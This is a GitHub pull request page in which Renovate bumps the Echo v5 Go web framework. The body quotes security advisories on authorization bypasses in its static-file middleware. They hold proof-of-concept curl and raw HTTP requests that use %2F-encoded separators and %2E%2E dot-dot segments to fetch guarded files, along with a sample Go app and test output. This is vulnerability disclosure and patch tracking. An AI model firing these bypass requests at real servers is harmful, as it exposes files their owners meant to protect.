  • middleware.Static selects its path source in middleware/static.go (~L219): with a global e.Use mount there is no wildcard route, so it uses c.Request().URL.Path, which net/http has already decoded (%2F → /). It then path.Cleans (~L235) and Opens (~L259) admin/secret.txt, serving the file.

Net effect: for the literal path the guard runs; for the %2F-encoded path the guard is skipped but the same file is served.

Relevant code:

  • middleware/static.go ~L219 (p := c.Request().URL.Path), ~L235 (path.Clean), ~L259 (currentFS.Open)
  • StaticConfig.EnablePathUnescaping docstring (static.go ~L60-67) — claims the default prevents the /admin%2fprivate.txt → /admin/* guard bypass; this is not true for the global mount.

Relationship to prior advisories:

  • CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq (patched 5.2.0): same %2F router-vs-handler mismatch, but fixed for StaticFS/StaticDirectoryHandler. The middleware.Static path was not covered — this report is that gap.
  • CVE-2026-25766 / GHSA-pgvm-wxw2-hrv9 (patched 5.0.3): a different issue (Windows backslash traversal outside the root). Referenced only to disambiguate; not the same as this report.
PoC

Environment: golang:1.25, module using the official release (go get github.com/labstack/echo/v5@v5.3.1, no local replace). Static root public/ contains a marker file public/admin/secret.txt = SECRET.

Minimal app (the pattern under test: static served globally + a group guard intended to protect /admin):

package main

import (
	"net/http"

	"github.com/labstack/echo/v5"
	"github.com/labstack/echo/v5/middleware"
)

func main() {
	e := echo.New()
	e.Use(middleware.Static("public")) // serves ./public globally (default filesystem)

	admin := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
		return func(c *echo.Context) error { return c.String(http.StatusUnauthorized, "auth required") }
	})
	admin.GET("/secret.txt", func(c *echo.Context) error { return c.String(http.StatusOK, "handler") })

	e.Start(":1323")
}

Requests (unauthenticated):


##### Literal: route matches -> group guard runs
curl -i http://localhost:1323/admin/secret.txt

##### => 401

##### %2F-encoded: route does NOT match -> guard skipped, but middleware.Static serves the file
curl -i --path-as-is http://localhost:1323/admin%2Fsecret.txt

##### => 200, body: SECRET

Observed on v5.3.1: literal → 401; %2F → 200 with the file contents. For contrast, serving via the (patched) e.StaticFS("/") returns 404 for the same %2F request, showing the middleware.Static path was not covered by the CVE-2026-55677 fix.

Impact

An unauthenticated remote user can retrieve a file served by middleware.Static even when the application attached a route/group middleware guard to that path, by substituting / with %2F. The consequence is limited to files already inside the served static root (CWE-863 authorization inconsistency; CWE-436 interpretation conflict) — there is no access to files outside the static root.

Honest caveat on validity / severity: this only has security impact for applications that (a) serve a directory statically to the public and (b) place a sensitive file inside that same directory while relying on a route-level guard to protect it. That combination is arguably a misconfiguration — a statically-served directory is public by design — so maintainers may reasonably classify this as a documentation fix (correct the EnablePathUnescaping claim) or won't-fix rather than a code vulnerability. It is filed primarily because (1) the router-vs-handler %2F inconsistency is the exact class fixed in CVE-2026-55677 but left uncovered for middleware.Static, and (2) the docstring currently promises protection it does not provide.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. With the default settings, the Static middleware resolves files from the same form of the path that the router matched, so percent-encoded paths such as /admin%2Fsecret.txt or /%61dmin/secret.txt no longer reach a file under a guarded route. Paths with ., .. or empty segments are no longer served.

Note: middleware registered with Echo#Use runs before route and group middleware, so route guards never protect files served by a global Static middleware. Keep protected files outside its root directory, or serve them with Echo#Static behind the guard.

Workarounds

Keep files that need protection outside the Static middleware's root directory.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Echo static file middleware route protection bypass via encoded dot-dot traversal

CVE-2026-118654 / GHSA-3pmx-cf9f-34xr

More information

Details

Summary

Echo v5.2.0 contains a bypass of the fix for GHSA-vfp3-v2gw-7wfq. The fix rejects encoded path separators such as %2F and %5C before static file path unescaping, but two traversal forms still bypass route-level middleware protections for static files.

The primary bypass uses encoded dot-dot segments. A request such as /public/%2E%2E/admin/secret.txt passes the encoded-separator guard, is unescaped to public/../admin/secret.txt, then path.Clean resolves it to admin/secret.txt. If /admin/* is protected by middleware but the static filesystem is mounted at /, the protected file is returned through the public static route.

A second bypass exists when UseEscapedPathForMatching=true. In that mode, the router normalizes encoded separators before the static handler checks the wildcard. The handler receives a decoded wildcard with no % characters, so the encoded-separator guard does not run on the original encoded path.

Impact

An unauthenticated attacker can read files that an application intended to protect with route-level middleware, when those files are also reachable through a static filesystem mount after path normalization.

The high-severity variant works with the default router configuration and requires only encoded dot-dot path segments. The direct protected route returns 403, while the public static route returns the protected file content.

The UseEscapedPathForMatching=true variant is lower severity because it requires a non-default router configuration.

Affected versions

Tested vulnerable:

  • github.com/labstack/echo/v5 v5.2.0
  • Current master at 5786024ea4d85c01784796e8aa7aac53e007b39b

No patched version is currently known.

Policy and version checks

GitHub Private Vulnerability Reporting is enabled for labstack/echo. The repository has a root SECURITY.md and accepts security reports through GitHub Security Advisories.

The vulnerable code was revalidated on both current master and the latest release tag:

  • Current master: 5786024ea4d85c01784796e8aa7aac53e007b39b
  • Latest release: v5.2.0, published June 14 2026
  • Package: github.com/labstack/echo/v5

The same focused Go tests pass on the checked out v5.2.0 / master commit, proving the bypass remains present in the latest released version and latest main branch at the time of reporting.

Reproduction

The following application shape reproduces the high-severity bypass:

e := echo.New()

g := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
    return func(c echo.Context) error {
        return echo.NewHTTPError(http.StatusForbidden)
    }
})
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)

Control request:

GET /admin/secret.txt

Observed result:

403 Forbidden

Bypass request:

GET /public/%2E%2E/admin/secret.txt

Observed result:

200 OK
TOP-SECRET

For the non-default router variant:

e := echo.New()
e.router = echo.NewRouter(echo.RouterConfig{
    UseEscapedPathForMatching: true,
})

g := e.Group("/admin", authMiddlewareReturning403)
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)

Bypass request:

GET /public%2F..%2Fadmin%2Fsecret.txt

Observed result:

200 OK
TOP-SECRET
Proof of concept evidence

I added focused tests against the current Echo codebase. The tests exercise both StaticDirectoryHandler and the static middleware path.

Command:

go test -run TestHostile -v ./...

Observed result:

=== RUN   TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked (0.00s)
=== RUN   TestHostile_StaticDirectoryHandler_EncodedDotDotBypass
--- PASS: TestHostile_StaticDirectoryHandler_EncodedDotDotBypass (0.00s)
=== RUN   TestHostile_UseEscapedPathForMatching_Bypass
--- PASS: TestHostile_UseEscapedPathForMatching_

> [!IMPORTANT]
> ✂ PR body was truncated to here.

@renovate renovate Bot added ci:auto-merge dependencies Pull requests that update a dependency file labels Oct 29, 2026
@mergify mergify Bot added the ci:queued label Oct 29, 2026
@mergify
mergify Bot merged commit e6aa07a into master Oct 29, 2026
4 checks passed
@mergify

mergify Bot commented Oct 29, 2026

Copy link
Copy Markdown
Contributor

✅ Merged into master as e6aa07a at 00:37 UTC

Less than a minute in the queue, with no time running CI.

So far

  • ✅ Entered the queue Thu 29 Oct, 00:37 · rule default · triggered by rule automatic merge
  • ✅ Checks skipped · PR is already up-to-date
  • ✅ Merged 00:37 · e6aa07a

Times in UTC · dashboard · how the merge queue works

@mergify
mergify Bot deleted the renovate/go-github.com-labstack-echo-v5-vulnerability branch October 29, 2026 00:37
@mergify mergify Bot removed the ci:queued label Oct 29, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

ci:auto-merge dependencies Pull requests that update a dependency file size/XS

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant